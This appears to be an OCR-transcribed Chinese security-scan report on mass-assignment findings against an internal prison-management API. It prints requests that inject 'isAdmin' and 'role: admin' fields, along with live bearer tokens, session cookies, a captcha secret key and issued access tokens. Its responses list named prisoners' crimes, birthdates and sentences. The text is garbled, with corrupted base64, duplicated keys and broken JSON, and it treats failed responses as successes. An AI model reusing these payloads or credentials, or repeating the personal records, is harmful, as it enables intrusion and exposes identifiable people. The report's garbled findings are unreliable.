  "repCode": "0000",
  "repMsg": null,
  "repData": {
    "captchaId": null,
    "projectCode": null,
    "captchaType": null,
    "captchaOriginalPath": null,
    "captchaFontType": null,
    "captchaFontSize": null,
    "secretKey": "NMVgpXgNrhPBrDnr",
    "originalImageBase64":
      "iVBORw0KGgoAAAANSUhEUgAAATYAAACHCAAAADfL0cFAAADFBMEX8///x///r+/g///n+/l+/i+/P7V/v/j9v3d9fzR8/zI9/7Z7fi2+/E7fVQ6PS66fuc9//H3+2s5vy73++i4/606v680+Wh3Pev1+yY3fyS2/yR2Pl16
      /+uy96D2/uhz+eL0/C0xf1+0v1v1/+UyOagw9yAy+qjvNBtzfMwBey/iLtF0SttV0w095wOGHt9vA5M4+tOKEr9Nbnv5ju+JztNlTrPeM4lpurdKQpcVqcdp2pON6pc9XqfuoguljqdNop81Vrdt2mcV9mLZhoctuItNqmsN8muJ
      crM4Q8N1L/44j6bb18Jwjrloi8NfjNjWIMBTkL1Tjsdai7lghaNDiut1g7RPjIpChftKiChfndZZfshLiLdShbRffalIthbRlgbRPF6xAF0FYd7REgbFEfcoJbdp5Sc8M4dvNGFK5hdItebblAfa5Jd6c+dNBQbb0Bi.fx8Vmc/d6xRb
      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
      ...
      ...
      ...
  }
}
```

API 成批分配	
严重性：	高
CVSS 分数：	7.3
CVSS 向量：	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:LE:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/system/captcha/check
实体：	check (Page)
风险：	API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制
原因：	如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。
固定值：	避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。

差异： 主体 从以下位置进行控制： `{"captchaType":"blockPuzzle","pointJson":{"yCUwt9EWmZmR1iuxrh9BF4FMzoGWYqGqckS13C6lw=","token":"944c54c7d4d2497bb32122fb0bd619b1"}}` 至：
`{"captchaType":"blockPuzzle","pointJson":{"yCUwt9EWmZmR1iuxrh9BF4FMzoGWYqGqckS13C6lw=","token":"944c54c7d4d2497bb32122fb0bd619b1","isAdmin":true,"isso":true,"role":"admin"}}`

推理： 测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。

测试请求和响应：

```
POST /admin-api/system/captcha/check HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
Content-Type: application/json; charset=UTF-8
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Content-Length: 174
Cookie: JSESSIONID=node0vef9kts18rhulur7hzhpmx0p5504.node0
Authorization: Bearer 1596f2c254a60ff99b6f1f8a7131d4e
```

```
{
  "captchaType": "blockPuzzle",
  "pointJson": "yCUwt9EWmZrLiuxrh9BF4FMzoGWYXpGpckS13C61w=",
  "token": "944c54c7d4d2497db32122fb0bd619b1",
  "isAdmin": true,
  "isSso": true,
  "role": "admin"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:33:09 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node07nt1zkb98ppm1sv7vm5mp9wv215964.node0; Path=/

{
  "repCode": "6110",
  "repMsg": "验证码已失效，请重新获取",
  "repData": null,
  "success": false
}
```

API 成批分配	
严重性：	高
CVSS 分数：	7.3
CVSS 向量：	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/system/auth/login
实体：	login (Page)
风险：	API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制
原因：	如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。
固定值：	避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。

差异：主体 从以下位置进行控制：

```
{ "username": "WYnhQ41lNcvc3rOkYOE3Uw=", "password": "***CONFIDENTIAL 1***", "captchaVerification": "aAwOvUwMvV8RZ5tiur7xeCI5FmmbaV9Jf64i7HvaXqbnJYbMgYJvtpVGv3Lqx8s8vAmGYKfXycY8DSgvRevsSw=" }
```

至：

```
{ "username": "WYnhQ41lNcvc3rOkYOE3Uw=", "password": "***CONFIDENTIAL 1***", "captchaVerification": "aAwOvUwMvV8RZ5tiur7xeCI5FmmbaV9Jf64i7HvaXqbnJYbMgYJvtpVGv3Lqx8s8vAmGYKfXycY8DSgvRevsSw=", "is_admin": true, "is_sso": true, "role": "admin" }
```

推理：测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。

测试请求和响应：

```
POST /admin-api/system/auth/login HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
Content-Type: application/json;charset=UTF-8
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
```

```
Accept-Language: en-US
Content-Length: 235
Cookie: JSESSIONID=node0vef9kts18zhulur7hzhpmx0p5504.node0
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e

{
  "username": "WYnhQ4lNCcv3rOkYOE3Uw==",
  "password": "***CONFIDENTIAL 1***",
  "captchaVerification": "aAwOvUwMV8RZ5tiur7xeCI5FmIbaV9Jf64i7HvaXqbnJYhMgYJvbpVGV3Lqx8s8vAmGYKExycY8DSgvRevsSw=",
  "is_admin": true,
  "is_sso": true,
  "role": "admin"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:33:16 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node015lssphp5lmg1pschichba3iw16033.node0; Path=/

{
  "code": 0,
  "data": {
    "userId": 993,
    "accessToken": "fe2e973201cf4644bd2e383de26f8fe4",
    "refreshToken": "565bb14f09e4404a87d70ee5c2ca3bdc",
    "expiresTime": 1773715696918,
    "roles": [
      "sfj_admin"
    ]
  },
  "msg": ""
}
```

API 成批分配	
严重性:	高
CVSS 分数:	7.3
CVSS 向量:	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/shouye/gzList
实体:	gzList (Page)
风险:	API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制
原因:	如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。
固定值:	避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。

差异：主体 从以下位置进行控制：{"pch":"202505","pageSize":10} 至： {"pch":"202505","pageSize":10,"isadmin":true,"isso":true,"role":"admin"}

推理：测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。

测试请求和响应：

```
POST /admin-api/chain/shouye/gzList HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
```

```
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Content-Length: 73
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0

{
  "pch": "202505",
  "pageSize": 10,
  "isAdmin": true,
  "isssso": true,
  "role": "admin"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:33:49 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node01di8x8z891cy21jb3m5cik07eg12888.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [
      {
        "id": "A51871F8067EB2115C920425676E1861",
        "yjId": "02D767F8067EB21153B0196C665C8177",
        "yjmcId": "A51871F8067EB2115C920425676E1861",
        "zfbh": "4463029231",
        "yjlb": "1",
        "yjllmc": "计分考核存证材料一致性预警",
        "hyjg": "3",
        "lb": "jfkx",
        "pch": "202505",
        "xm": "吴炳辉",
        "zm": "抢劫"
      },
      {
        "id": "A91871F8067EB211FE9D0C94726D4400",
        "yjId": "02D767F8067EB21153B0196C665C8177",
        "yjmcId": "A91871F8067EB211FE9D0C94726D4400",
        "zfbh": "4463043660",
        "yjlb": "1",
        "yjllmc": "计分考核存证材料一致性预警",
        "hyjg": "3",
        "lb": "jfkx",
        "pch": "202505",
        "xm": "卢冒杰",
        "zm": "开设赌场"
      },
      {
        "id": "AD1871F8067EB211FFA25BA59CBEE633",
        "yjId": "02D767F8067EB21153B0196C665C8177",
        "yjmcId": "AD1871F8067EB211FFA25BA59CBEE633",
        "zfbh": "4463042775",
        "yjlb": "1",
        "yjllmc": "计分考核存证材料一致性预警",
        "hyjg": "3",
        "lb": "jfkx",
        "pch": "202505",
        "xm": "李胜利",
        "zm": "贩卖毒品"
      },
      {
        "id": "B11871F8067EB211A1B24BD211E1FD72",
        "yjId": "02D767F8067EB21153B0196C665C8177",
        "yjmcId": "B11871F8067EB211A1B24BD211E1FD72",
        "zfbh": "4463041988",
        "yjlb": "1",
        "yjllmc": "计分考核存证材料一致性预警",
        "hyjg": "3",
        "lb": "jfkx",
        "pch": "202505",
        "xm": "朱柏炜",
        "zm": "强奸"
      }
    ]
  }
}
```

```

{
  "id": "B51871F8067EB211788D438485920534",
  "yjId": "02D767F8067EB21153B0196C665C8177",
  "yjmcId": "B51871F8067EB211788D438485920534",
  "zfbh": "4463041406",
  "yjlb": "1",
  "yjllmc": "计分考核存证材料一致性预警",
  "hyjg": "3",
  "lb": "jfkx",
  "pch": "202505",
  "sm": "柯杰豪",
  "zm": "走私普通货物"
},
{
  "id": "B91871F8067EB211F3ADABDF07FB7405",
  "yjId": "02D767F8067EB21153B0196C665C8177",
  "yjmcId": "B91871F8067EB211F3ADABDF07FB7405",
  "zfbh": "4463039579",
  "yjlb": "1",
  "yjllmc": "计分考核存证材料一致性预警",
  "hyjg": "3",
  "lb": "jfkx",
  "pch": "202505",
  "sm": "曹可蒙",
  "zm": "组织卖淫"
},
{
  "id": "BE1871F8067EB2111A9131665106AB11",
  "yjId": "02D767F8067EB21153B0196C665C8177",
  "yjmcId": "BE1871F8067EB2111A9131665106AB11",
  "zfbh": "4463038762",
  "yjlb": "1",
  "yjllmc": "计分考核存证材料一致性预警",
  "hyjg": "3",
  "lb": "jfkx",
  "pch": "202505",
  "sm": "姜伟",
  "zm": "职务侵占"
},
{
  "id": "C21871F8067EB21169AE357623382E2C",
  "yjId": "02D767F8067EB21153B0196C665C8177",
  "yjmcId": "C21871F8067EB21169AE357623382E2C",
  "zfbh": "4463042353",
  "yjlb": "1",
  "yjllmc": "计分考核存证材料一致性预警",
  "hyjg": "3",
  "lb": "jfkx",
  "pch": "202505",
  "sm": "周勇",
  "zm": "开设赌场"
},
{
  "id": "C61871F8067EB211B9A8BAAC1B34635E",
  "yjId": "02D767F8067EB21153B0196C665C8177",
  "yjmcId": "C61871F8067EB211B9A8BAAC1B34635E",
  "zfbh": "4463043064",
  "yjlb": "1",
  "yjllmc": "计分考核存证材料一致性预警",
  "hyjg": "3",
  "lb": "jfkx",
  "pch": "202505",
  "sm": "黄永建",
  "zm": "操纵证券市场"
},
{
  "id": "CA1871F8067EB21184BBCF47E755072F",
  "yjId": "02D767F8067EB21153B0196C665C8177",
  "yjmcId": "CA1871F8067EB21184BBCF47E755072F",
  "zfbh": "4463040482",
  "yjlb": "1",
  "yjllmc": "计分考核存证材料一致性预警",
  "hyjg": "3",
  "lb": "jfkx",
  "pch": "202505",
  "sm": "余林军",
  "zm": "强奸"
}
},
"total": 58
},
"msg": ""
}

```

API 成批分配	
严重性：	高
CVSS 分数：	7.3
CVSS 向量：	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MAX
URL：	https://10.249.2.1:8090/admin-api/chain/zf-zfjbox/page
实体：	page (Page)
风险：	API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制
原因：	如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。
固定值：	避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。

差异：主体 从以下位置进行控制：{"pageNo":1,"pageSize":10,"pch":"202505","zfbh":"","xm":""} 至：
{"pageNo":1,"pageSize":10,"pch":"202505","zfbh":"","xm":"","isAdmin":true,"isso":true,"role":"admin"}

推理：测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。
测试请求和响应：

```
POST /admin-api/chain/zf-zfjbox/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/infoStorage/criminalBase/index
Accept-Language: en-US
Content-Length: 102
Cookie: JSESSIONID=node0vef9kts18zhulur7hhzpmx0p5504.node0

{
  "pageNo": 1,
  "pageSize": 10,
  "pch": "202505",
  "zfbh": "",
  "xm": "",
  "isAdmin": true,
  "isso": true,
  "role": "admin"
}

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:34:50 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Access-Control-Allow-Origin: *
Set-Cookie: JSESSIONID=node0zjk5pjwd5b7padbxc34htc013147.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [
      {
        "pch": "202505",
        "zfbh": "4463044908",
        "gyjy": "深圳监狱",
        "jqmc": "七监 3 分",
        "xm": "黎海盛",
        "zm": "掩饰、隐瞒犯罪所得",
        "ypxq": "020600",
        "xq": "020600",
        "rjrq": "2024-08-20 00:00:00",
        "gyzt": "20250304190044908",
      }
    ]
  }
}
```

```

"xb": "男",
"csrq": "1986-05-10 00:00:00",
"mz": "汉族",
"fylx": "财产型",
"qklId": "57c16714c04581d136b68869f999304801bdd1d8ffc22221da49541ef8197a67",
"createTime": 1764595482829,
"jkzk": null,
"id": "1556305961038127104"
},
{
  "pch": "202505",
  "zfbh": "4463043655",
  "gyjy": "深圳监狱",
  "jqnc": "七监 3 分",
  "zm": "曾帅",
  "zm": "集资诈骗",
  "ypxq": "030600",
  "xq": "030600",
  "rjrq": "2024-02-28 00:00:00",
  "gyzt": "20250304190043656",
  "xb": "男",
  "csrq": "1987-03-27 00:00:00",
  "mz": "汉族",
  "fylx": "财产型",
  "qklId": "eb74db84afe887594a7321a59fc7d70c23f6eld8bb2af5ed7e911f82b46c1c90",
  "createTime": 1764595463836,
  "jkzk": null,
  "id": "1556305801713295360"
},
{
  "pch": "202505",
  "zfbh": "4463042931",
  "gyjy": "深圳监狱",
  "jqnc": "医院 1 分",
  "zm": "田育健",
  "zm": "掩饰、隐瞒犯罪所得",
  "ypxq": "040500",
  "xq": "040500",
  "rjrq": "2023-10-31 00:00:00",
  "gyzt": "20250304190042931",
  "xb": "男",
  "csrq": "1995-09-28 00:00:00",
  "mz": "汉族",
  "fylx": "财产型",
  "qklId": "d753ad629ac236252f44ef4055bd122a82c3b1adde34e9c7190273307a47702b",
  "createTime": 1763541023015,
  "jkzk": null,
  "id": "1547460511006736384"
},
{
  "pch": "202505",
  "zfbh": "4463042630",
  "gyjy": "深圳监狱",
  "jqnc": "一监 2 分",
  "zm": "梁毅能",
  "zm": "以危险方法危害公共安全",
  "ypxq": "100000",
  "xq": "100000",
  "rjrq": "2023-08-30 00:00:00",
  "gyzt": "20250304190042630",
  "xb": "男",
  "csrq": "1987-02-17 00:00:00",
  "mz": "汉族",
  "fylx": "暴力型",
  "qklId": "289919827761f8dc322682b1ae4ba2e519e3adb9eaa92e52940da373945578af",
  "createTime": 1763540984204,
  "jkzk": null,
  "id": "1547460185436463104"
},
{
  "pch": "202505",
  "zfbh": "4463028403",
  "gyjy": "深圳监狱",
  "jqnc": "医院 1 分",
  "zm": "林耀彬",
  "zm": "抢劫",
  "ypxq": "130000",
  "xq": "130000",
  "rjrq": "2016-07-05 00:00:00",
  "gyzt": "20250304190028656",
  "xb": "男",
  "csrq": "1993-05-22 00:00:00",
  "mz": "汉族",
  "fylx": "暴力型",
  "qklId": "4705bdfbfb3be39703bcbdc574f95854a5088d60bb6818304afa45964a9dd60ee3",
  "createTime": 1763540984002,
  "jkzk": null,
  "id": "1547460183741964288"
},
{
  "pch": "202505",
  "zfbh": "4463040538",
  "gyjy": "深圳监狱",

```

```
"jqmc": "医院 1 分",
"xm": "林泗超",
"zm": "非法转让土地使用权",
"ypxq": "040600",
"xq": "040600",
"rjrq": "2022-07-12 00:00:00",
"gyzt": "20250304190040539",
"xb": "男",
"csrq": "1980-09-20 00:00:00",
"mz": "汉族",
"fylx": "财产型",
"qklId": "3c8f20bcb772776d5f6d28b1092b0ec385b0c70335c19c11fbfd886ff06e8bb8",
"createTime": 1763540983758,
"jkzk": null,
"id": "1547460181695143936"
},
{
  "pch": "202505",
  "zfbh": "4463041191",
  "gyjy": "深圳监狱",
  "jqmc": "出监 3 分",
  "xm": "覃武权",
  "zm": "非法吸收公众存款",
  "ypxq": "060000",
  "xq": "060000",
  "rjrq": "2023-01-12 00:00:00",
  "gyzt": "20250304190041192",
  ...
  ...
  ...
}
```

API 成批分配	
严重性:	高
CVSS 分数:	7.3
CVSS 向量:	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/jxjs-gz/page
实体:	page (Page)
风险:	API 成批分配利用可能导致特权升级、数据篡改、绕过安全机制
原因:	如果 API 端点自动将提供数据的客户机转换为内部对象属性，而不考虑这些属性的敏感度和暴露水平，则 API 端点容易受到成批分配攻击。
固定值:	避免使用自动将客户机输入数据绑定到代码变量或内部对象的功能。如果适用，请为输入数据有效内容明确定义并实施模式。

差异：主体 从以下位置进行控制：

```
({"lb":1,"nd":"","pageNo":1,"pageSize":10,"pch":"202505","zfbh":"","xm":"","bcjy":"","clzt":"","yjlb":"","roles":"sfj_admin","pzrqs":"","pzrqe":""}) 至:
({"lb":1,"nd":"","pageNo":1,"pageSize":10,"pch":"202505","zfbh":"","xm":"","bcjy":"","clzt":"","yjlb":"","roles":"sfj_admin","pzrqs":"","pzrqe":"","isadmin":true,"issso":true,"role":"admin"}
```

推理：测试结果似乎指示存在漏洞，因为测试响应成功（返回 200 OK），这表明应用程序/API 访问成功。

测试请求和响应：

```
POST /admin-api/chain/jxjs-gz/page HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json; charset=UTF-8
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/warningInfo/reduce
Accept-Language: en-US
Content-Length: 189
Cookie: JSESSIONID=node0vef9kts18zhulur7hzhzpmx0p5504.node0

{
```



```
"lb": 1,
"nd": "",
"pageNo": 1,
"pageSize": 10,
"pch": "202505",
"zfbh": "",
"xm": "",
"bcjy": "",
"clzt": "",
"yjlz": "",
"roles": "sfj_admin",
"pzrq": "",
"pzrqe": "",
"isadmin": true,
"issso": true,
"role": "admin"
}
```

HTTP/1.1 200 OK

Server: nginx/1.27.2

Date: Tue, 17 Mar 2026 02:34:56 GMT

Content-Type: application/json

Transfer-Encoding: chunked

Access-Control-Allow-Methods: *

Access-Control-Allow-Headers: *

Access-Control-Max-Age: 3600L

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

Access-Control-Allow-Credentials: true

trace-id:

Expires: Thu, 01 Jan 1970 00:00:00 GMT

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Access-Control-Allow-Origin: *

Set-Cookie: JSESSIONID=node0faangjecw2s196juatkooa5613231.node0; Path=

```
{
  "code": 0,
  "data": {
    "list": [
      ],
    "total": 0
  },
  "msg": ""
}
```

问题 7 / 13

TOC

API 成批分配

严重性: 高

CVSS 分数: 7.3

